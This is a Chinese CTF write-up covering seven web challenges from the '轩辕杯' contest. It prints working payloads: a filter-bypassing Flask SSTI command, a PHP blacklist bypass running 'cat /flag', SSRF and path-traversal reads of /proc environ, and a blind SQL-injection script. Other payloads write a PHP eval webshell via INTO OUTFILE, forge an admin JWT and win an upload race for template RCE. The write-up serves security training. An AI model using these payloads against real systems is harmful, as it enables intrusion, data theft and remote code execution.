“轩辕杯“云盾砺剑CTF挑战赛 Web wp
文章目录
- ezflask
- ezjs
- ezrce
- ezssrf1.0
- 签到
- ezsql1.0
- ez_web1
- 非预期
- 预期解
ezflask
ssti, 过滤了一些关键词, 绕一下就行
name={{url_for["__globals__"]["__builtins__"]["eval"]("__tropmi__"[::-1])('o''s')["po""pen"]("ls /")|attr("read")()}}
ezjs
查看源码可以看到这一段
game._addSuccessFn(function (scoreNow) {current_score.innerHTML = scoreNowif (scoreNow === 100000000000) {fetch('getflag.php', {method: 'POST',headers: {'Content-Type': 'application/x-www-form-urlencoded',},body: 'score=' + scoreNow}).then(response => response.text()).then(data => {alert("恭喜你!flag是:" + data);}).catch(error => {console.error('错误:', error);});}
})
直接伪造请求就行
ezrce
<?php
error_reporting(0);
highlight_file(__FILE__);function waf($a) {$disable_fun = array("exec", "shell_exec", "system", "passthru", "proc_open", "show_source", "phpinfo", "popen", "dl", "proc_terminate", "touch", "escapeshellcmd", "escapeshellarg", "assert", "substr_replace", "call_user_func_array", "call_user_func", "array_filter", "array_walk", "array_map", "register_shutdown_function", "register_tick_function", "filter_var", "filter_var_array", "uasort", "uksort", "array_reduce", "array_walk", "array_walk_recursive", "pcntl_exec", "fopen", "fwrite", "file_put_contents", "readfile", "file_get_contents", "highlight_file", "eval");$disable_fun = array_map('strtolower', $disable_fun);$a = strtolower($a);if (in_array($a, $disable_fun)) {echo "宝宝这对嘛,这不对噢";return false;}return $a;
}$num = $_GET['num'];
$new = $_POST['new'];
$star = $_POST['star'];if (isset($num) && $num != 1234) {echo "看来第一层对你来说是小case<br>";if (is_numeric($num) && $num > 1234) {echo "还是有点实力的嘛<br>";if (isset($new) && isset($star)) {echo "看起来你遇到难关了哈哈<br>";$b = waf($new); if ($b) { call_user_func($b, $star); echo "恭喜你,又成长了<br>";} }}
}
?>
主要是绕过waf里面被禁用的函数, 可以通过在函数名前面添加一个反斜杠\
, 不影响函数的执行, 且waf也没法检查出来
?num=12345
new=\system&star=cat /flag
ezssrf1.0
<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_GET['url'];if ($url == null)die("Try to add ?url=xxxx.");$x = parse_url($url);if (!$x)die("(;_;)");if ($x['host'] === null && $x['scheme'] === 'http') {echo ('Well, Going to ' . $url);$ch = curl_init($url);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$result = curl_exec($ch);curl_close($ch);echo ($result);
} elseecho "(^-_-^)";
感觉有点抽象, 一直尝试, 看看哪个有反应
?url=http:@localhost/flag
?url=http:@localhost/FFFFF11111AAAAAggggg.php
签到
得到l23evel4.php
提示了今年是多少年
继续levelThree.php
F12有提示
继续/level444Four.php
继续: level4545Five.php
直接放控制台就行
继续: zzpufinish.php
ezsql1.0
过滤了空格, 可以用/**/
绕过,直接布尔盲注打
发现可以执行一些内置函数的操作, 想要查询却查不了, 试了了很久, 后面想到可以通过load_file
函数读取文件, 没被ban, 但是flag不在根目录下, 读一下源码
import requests
import urllib.parse
url="http://27.25.151.26:32384/"headers = {"Content-Type":"application/x-www-form-urlencoded","User-Agent": "Mozilla/5.0"}
flag = ''
i=1
while True:right = 128left = 32while left <= right:mid = (right + left) // 2params={"id":f"-1/**/or/**/ord(substr(load_file('/var/www/html/index.php')/**/from/**/{i}/**/for/**/1))>{mid}#"}res=requests.get(url=url,params=params,headers=headers,proxies={"http": None, "https": None})if 'admin' in res.text:left=mid+1else:right=mid-1i+=1flag += chr(left)print(flag)
可以拿到源码
<?php
include('connect.php');$input = $_GET['id'] ?? '';
$result_html = '';if (strpos($input, ' ') !== false) {$result_html = "<p class='error'> hacker</p>";
} else if ($input !== '') {$filtered_input = preg_replace('/select/i', '', $input);$sql = "SELECT id, username, password FROM users WHERE id = $filtered_input";$query = @$conn->query($sql);if ($query && $query->num_rows > 0) {$row = $query->fetch_assoc();// $result_html .= "<table><tr><th>ID</th><th></th><th></th></tr>";$result_html .= "<tr>";$result_html .= "<td>" . htmlspecialchars($row['id']) . "</td>";$result_html .= "<td>" . htmlspecialchars($row['username']) . "</td>";$result_html .= "<td>" . htmlspecialchars($row['password']) . "</td>";$result_html .= "</tr>";$result_html .= "</table>";} else {$result_html .= "<p class='error'></p>";}
}if ($conn instanceof mysqli && $conn->ping()) {$conn->close();
}
?><!DOCTYPE html>
<html lang="zh">
<head><meta charset="UTF-8"><title>User Query</title>
</head>
<body><?php echo $result_html; ?>
</body>
</html>
发现是把select
替换为空了, 难怪查询的操作都执行不了
双写绕过直接写马
?id=-1/**/union/**/seselectlect/**/1,2,'<?=eval($_POST[1]);?>'into/**/outfile/**/'/var/www/html/1.php'%23
/var
目录下可以发现一个db.sql文件, 里面存在flag
ez_web1
查看源码, 根据这些信息, 直接猜测出用户名和密码: fly233/123456789
非预期
进去到里面点击它的图书, 会发现跳转到/read
的路由,三本书的路由是一样的, 但是内容不一样, 可能是存在POST传了其他的参数, 抓一下包就可以发现, 直接任意文件读, 可以直接读到flag, 直接非预期了
book_path=../../../../proc/1/environ
预期解
读一下源码
from flask import Flask, render_template, request, redirect, url_for, make_response, jsonify
import os
import re
import jwtapp = Flask(__name__, template_folder='templates')
app.config['TEMPLATES_AUTO_RELOAD'] = True
SECRET_KEY = os.getenv('JWT_KEY')
book_dir = 'books'
users = {'fly233': '123456789'}def generate_token(username):payload = {'username': username}token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')return tokendef decode_token(token):try:payload = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])return payloadexcept jwt.ExpiredSignatureError:return Noneexcept jwt.InvalidTokenError:return None@app.route('/')
def index():token = request.cookies.get('token')if not token:return redirect('/login')payload = decode_token(token)if not payload:return redirect('/login')username = payload['username']books = [f for f in os.listdir(book_dir) if f.endswith('.txt')]return render_template('./index.html', username=username, books=books)@app.route('/login', methods=['GET', 'POST'])
def login():if request.method == 'GET':return render_template('./login.html')elif request.method == 'POST':username = request.form.get('username')password = request.form.get('password')if username in users and users[username] == password:token = generate_token(username)response = make_response(jsonify({'message': 'success'}), 200)response.set_cookie('token', token, httponly=True, path='/')return responseelse:return {'message': 'Invalid username or password'}@app.route('/read', methods=['POST'])
def read_book():token = request.cookies.get('token')if not token:return redirect('/login')payload = decode_token(token)if not payload:return redirect('/login')book_path = request.form.get('book_path')full_path = os.path.join(book_dir, book_path)try:with open(full_path, 'r', encoding='utf-8') as file:content = file.read()return render_template('reading.html', content=content)except FileNotFoundError:return "文件未找到", 404except Exception as e:return f"发生错误: {str(e)}", 500@app.route('/upload', methods=['GET', 'POST'])
def upload():token = request.cookies.get('token')if not token:return redirect('/login')payload = decode_token(token)if not payload:return redirect('/login')if request.method == 'GET':return render_template('./upload.html')if payload.get('username') != 'admin':return """<script>alert('只有管理员才有添加图书的权限');window.location.href = '/';</script>"""file = request.files['file']if file:book_path = request.form.get('book_path')file_path = os.path.join(book_path, file.filename)if not os.path.exists(book_path):return "文件夹不存在", 400file.save(file_path)with open(file_path, 'r', encoding='utf-8') as f:content = f.read()pattern = r'[{}<>_%]'if re.search(pattern, content):os.remove(file_path)return """<script>alert('SSTI,想的美!');window.location.href = '/';</script>"""return redirect(url_for('index'))return "未选择文件", 400
需要伪造admin, 读/proc/self/environ
找到key
JWT_KEY=th1s_1s_k3y
import jwt
SECRET_KEY="th1s_1s_k3y"
def generate_token(username):payload = {'username': username}token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')return tokentoken_admin=generate_token("admin")
print(token_admin)
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.EYrwzSGzfGe_PMnw-Wl4Ymt_QuMtyApHi57DMcZ7e3U
看到它上传文件的逻辑, 先把文件保存下来之后去检查它的文件内容, 如果有不合法的字符, 就把文件给删除, 这里很明显可以进行一个竞争去绕过它的字符过滤
一般想要进行ssti是要用到render_template_string
这个模块, 但是这里并没有导入这个模块, 所以在这里就上传一个index.html
文件覆盖掉原先的index.html
(或者代码里面的其他的html文件都可以), 让它的内容为ssti的rce, 这样在render_template
进行渲染的时候也可以执行ssti的代码
我们正常上传的文件路径是/app/books/xx.txt
然后可以通过参数filename
更改上传的路径, index.html的路径是在/app/templates/index.html
可以利用前面的任意文件读测试这些文件的存在
BurpSuite抓包, 直接在intruder
模块不不断的发包就行
然后不停的刷新浏览器, 就可以拿到flag了